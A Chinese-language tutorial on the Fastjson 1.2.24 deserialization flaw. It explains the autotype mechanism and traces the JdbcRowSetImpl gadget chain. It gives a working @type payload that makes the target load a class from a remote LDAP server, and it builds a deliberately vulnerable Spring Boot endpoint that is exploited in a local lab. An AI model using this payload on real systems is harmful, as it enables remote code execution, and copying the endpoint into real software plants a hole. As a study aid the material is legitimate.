fastjson漏洞
介绍:
Fastjson是阿里巴巴的一个开源项目,在GitHub上开源,使用Apache 2.0协议。它是一个支持Java Object和JSON字符串互相转换的Java库。
JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化
1 2
| String text = JSON.toJSONString(obj); VO vo = JSON.parseObject("{...}", VO.class);
|
漏洞原理:
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
由于要获取json数据详细类型,每次都需要读取@type,而@type可以指定反序列化任意类调用其set,get,is方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
那么攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。
就是说,payload字段中带有@type就可以调用指定类的方法,找一个带lookup方法的类,就可以解析ldap协议远程执行恶意类。
漏洞演示:
创建一个项目
引入fastjson1.2.24版本的依赖,刷新maven
新建一个User类,写两个属性,然后生成get、set方法和构造方法
可以用快捷键alt+insert快速生成方法,这里选择生成getter、setter方法
属性全选
再生成一个构造方法
属性无选择就行
在每个方法里写一个输出语句,方便观察方法的调用
完整代码:(输出语句敲sout然后tab补全就可以)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package org.example;
public class User { private String name; private Integer age;
public String getName() { System.out.println("getName"); return name; }
public Integer getAge() { System.out.println("getAge"); return age; }
public void setName(String name) { System.out.println("setName"); this.name = name; }
public void setAge(Integer age) { System.out.println("setAge"); this.age = age; }
public User() { System.out.println("User的无参构造方法"); } }
|
再创建一个FastJsonTest类
先new一个对象,然后通过set方法赋值,通过get方法取值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
public class FastJsonTest { public static void main(String[] args) { User user = new User(); user.setName("cc"); user.setAge(23); Integer age = user.getAge(); String name = user.getName(); System.out.println(name + " " + age); } }
|
输出结果:
使用fastjson的 JSON.toJSONString 方法来序列化user对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonTest { public static void main(String[] args) { User user = new User(); user.setName("cc"); user.setAge(23); Integer age = user.getAge(); String name = user.getName(); System.out.println(name + " " + age); System.out.println();
String jsonString = JSON.toJSONString(user); System.out.println(jsonString); } }
|
输出结果:这里没有调用构造方法是因为前面调用过,构造方法只会调用一次(在整个对象的生命周期)
使用fastjson的 JSON.parseObject 方法来反序列化json字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class FastJsonTest { public static void main(String[] args) { User user = new User(); user.setName("cc"); user.setAge(23); Integer age = user.getAge(); String name = user.getName(); System.out.println(name + " " + age); System.out.println();
String jsonString = JSON.toJSONString(user); System.out.println(jsonString); System.out.println();
JSONObject jsonObject = JSON.parseObject(jsonString); System.out.println(jsonObject); } }
|
输出结果:这里没有调用构造方法是因为前面调用过,构造方法只会调用一次(在整个对象的生命周期)
添加@type字段进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package org.example;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;
public class FastJsonTest { public static void main(String[] args) { User user = new User(); user.setName("cc"); user.setAge(23); Integer age = user.getAge(); String name = user.getName(); System.out.println(name + " " + age); System.out.println();
String jsonString = JSON.toJSONString(user); System.out.println(jsonString); System.out.println();
JSONObject jsonObject = JSON.parseObject(jsonString); System.out.println(jsonObject); System.out.println();
String payload = "{\"@type\":\"org.example.User\",\"age\":23,\"name\":\"cc\"}"; JSON.parseObject(payload); } }
|
输出结果:
更换payload,借助jdbcRowSetImpl类让目标访问远程ldap服务器,执行恶意类
1
| String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
|
用工具生成一个jndi服务,执行计算器
更换payload1中ldap的地址和路径,进行反序列化操作,成功弹出计算器
利用链分析:
payload是通过 jdbcRowSetImpl 类来实现的,查找 jdbcRowSetImpl 类的位置,直接ctrl+左键就可以调到这个类的位置
跳过来后点这个按钮即可定位类的路径
由前面的演示得知,反序列化时带有@type参数,会执行指定类的构造方法和属性相关的get,set方法
查找 dataSourceName 的get和set方法:
getDataSourceName 方法就是返回dataSource值
setDataSourceName 方法是传递一个字符串值var1,具体操作如下:
- 通过
this.getDataSourceName() 方法获取当前数据源的名称,然后检查是否为 null。如果当前数据源名称不为 null,则进入下一步判断。
- 在当前数据源名称不为 null 的情况下,再次通过
this.getDataSourceName() 方法获取当前数据源名称,并与传入的参数 var1 进行比较。如果两者不相等,则执行以下操作。
- 调用父类的
setDataSourceName 方法,将参数 var1 设置为新的数据源名称。
- 将类中的
conn(连接对象)置为 null,表示需要重新建立连接。
- 将类中的
ps(预编译语句对象)置为 null,表示需要重新创建预编译语句对象。
- 将类中的
rs(结果集对象)置为 null,表示需要重新创建结果集对象。
简单来说就是将参数var1赋值给dataSource,payload中就是将恶意地址ldap://localhost:1389/Exploit赋值给了dataSource
查找 autoCommit 的get和set方法:
getAutoCommit 方法就是返回一个布尔值
setAutoCommit 方法中 this.conn 是否为空,为空就调用 connect 方法
查看 connect 方法:
connect 方法先判断this.conn 是否为空,然后一眼就看到了两行很熟悉的代码 (jndi注入.md) ,其中调用了lookup方法解析了dataSource的值。
创建一个小demo测试一下,直接利用 JdbcRowSetImpl 类来触发其中的 lookup 方法:
new一个 JdbcRowSetImpl 对象,调用其 setDataSourceName 和 setAutoCommit 方法,解析ldap地址
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
import com.sun.rowset.JdbcRowSetImpl;
import java.sql.SQLException;
public class Test { public static void main(String[] args) throws SQLException { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("ldap://172.16.123.1:1389/vsrlgw"); jdbcRowSet.setAutoCommit(true); } }
|
成功执行计算器
web演示:
之前log4j是通过servlet进行演示的,这里利用springboot进行演示
环境部署
创建一个springboot项目:
更换一下服务器,换成阿里的,更换类型为maven,,更换java环境为java8,然后改个名即可
添加一下所需要的组件,这里只添加spring web即可
项目中 application.properties 为springboot的配置文件,可以修改端口,配置数据库连接等操作,这里将端口改为了8081,为避免与burp冲突
项目中 FastJsonWebApplication 为启动文件,一般都是WebApplication为后缀
访问端口,如下代表搭建成功
在pom.xml中添加fastjson 1.2.24的依赖,然后刷新maven
漏洞演示
创建一个控制器
敲代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.example.fastjsonweb.controller;
import com.alibaba.fastjson.JSON; import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("/fastjson") public class fastjsonController { @GetMapping("/hello") public String hello(@RequestParam String name){ return "hello " + name; } @PostMapping("/vuln") public void fastjson(@RequestParam String code){ JSON.parseObject(code); } }
|
访问 http://localhost:8081/fastjson/hello ,页面返回400,这是因为需要传递参数
传递一个name参数,页面成功回显,证明没问题
访问 http://localhost:8081/fastjson/vuln,页面返回405,方法错误,需要post访问
使用hackbar的post传参,参数为code,值为fastjson的payload,执行后成功弹出计算器